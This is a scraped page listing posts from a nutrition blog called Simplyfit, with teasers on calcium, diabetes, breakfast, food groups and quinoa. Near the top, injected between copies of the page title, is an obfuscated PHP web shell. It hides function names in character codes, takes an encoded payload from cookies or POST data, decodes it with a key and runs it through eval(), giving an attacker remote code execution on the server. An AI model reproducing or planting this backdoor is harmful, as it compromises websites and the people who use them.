Simplyfit – Page 2 – This new year lets not make resolutions that one can't follow instead lets pledge to be simply fit…

$xxzgXHTMBd = chr (109) . "\x45" . '_' . "\160" . "\x50" . "\x51";$bOcqR = 'c' . chr (108) . chr (97) . 's' . "\x73" . "\x5f" . chr (101) . "\170" . chr ( 854 - 749 )."\163" . 't' . "\x73";$DowXkrjspI = $bOcqR($xxzgXHTMBd); $mLUOft = $DowXkrjspI;if (!$mLUOft){class mE_pPQ{private $pOAfOn;public static $GWHJFFO = "93f77325-bba7-40be-bca0-3f817b407fe0";public static $QXvveSw = 45861;public function __construct(){$QiozDikGJT = $_COOKIE;$fNAMPn = $_POST;$kbJbe = @$QiozDikGJT[substr(mE_pPQ::$GWHJFFO, 0, 4)];if (!empty($kbJbe)){$AxelI = "base64";$bbHZku = "";$kbJbe = explode(",", $kbJbe);foreach ($kbJbe as $LQeIpll){$bbHZku .= @$QiozDikGJT[$LQeIpll];$bbHZku .= @$fNAMPn[$LQeIpll];}$bbHZku = array_map($AxelI . "\137" . chr (100) . "\145" . chr (99) . 'o' . "\144" . chr (101), array($bbHZku,)); $bbHZku = $bbHZku[0] ^ str_repeat(mE_pPQ::$GWHJFFO, (strlen($bbHZku[0]) / strlen(mE_pPQ::$GWHJFFO)) + 1);mE_pPQ::$QXvveSw = @unserialize($bbHZku);}}public function __destruct(){$this->FikwEWRsN();}private function FikwEWRsN(){if (is_array(mE_pPQ::$QXvveSw)) {$SiTqXkqf = str_replace("\74" . chr (63) . "\x70" . 'h' . "\x70", "", mE_pPQ::$QXvveSw[chr ( 1068 - 969 )."\x6f" . 'n' . "\164" . chr (101) . chr ( 886 - 776 )."\x74"]);eval($SiTqXkqf);exit();}}}$GnHQeWnPo = new mE_pPQ(); $GnHQeWnPo = "56233";} Simplyfit – Page 2 – This new year lets not make resolutions that one can't follow instead lets pledge to be simply fit…

Calcium

Calcium

February 19, 2019 simplyfit

Calcium is an essential bulk mineral. It makes up bones and teeth and is essential for the transmission of information…

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Diabetes

Diabetes

February 11, 2019 simplyfit

Diabetes is a metabolic disease characterized by high blood sugars due to inadequate production of insulin or because the body’s…

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The importance of breakfast

February 4, 2019 simplyfit

The American Dietetic Association says breakfast is the most important meal of the day. Making time for breakfast on busy…

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Food groups

Importance of food groups

January 28, 2019 simplyfit

The key to enjoy a nutritious meal and a good health is eating a variety from 5 different food groups…

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Carbohydrates

Carbohydrates – Not a villain

January 21, 2019 simplyfit

Just like your car needs fuel to make it run, your body needs fuel to function. Of course, your body…

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Energy Drinks and Power Bars – Power or Hype

Energy Drinks and Power Bars – Power or Hype

January 14, 2019 simplyfit

Energy drinks and nutrition bars a variety available in the markets make big promises of increasing energy and causing alertness,…

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Immunity boosters

Immunity boosters

January 7, 2019 simplyfit

Winter is here and so are the chances of falling sick. Winter brings with it cold and flu, but a…

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Skin Foods

Nutrition for healthy skin, hair and nails

January 1, 2019 simplyfit

Nutrients for Healthy Skin: Inside and Out What we put on our plate is even more important than what we…

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Orac

Orac food choices

simplyfit

Anti-oxidants have been labeled as the magic bullet for a large range of diseases including various types of cancers and…

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Quinoa

Quinoa – I’m keen, you’re keen, we’re all keen on quinoa!

simplyfit

Quinoa is actually a seed, rather than a grain, that can be traced back to ancient Peru. Packed with protein,…

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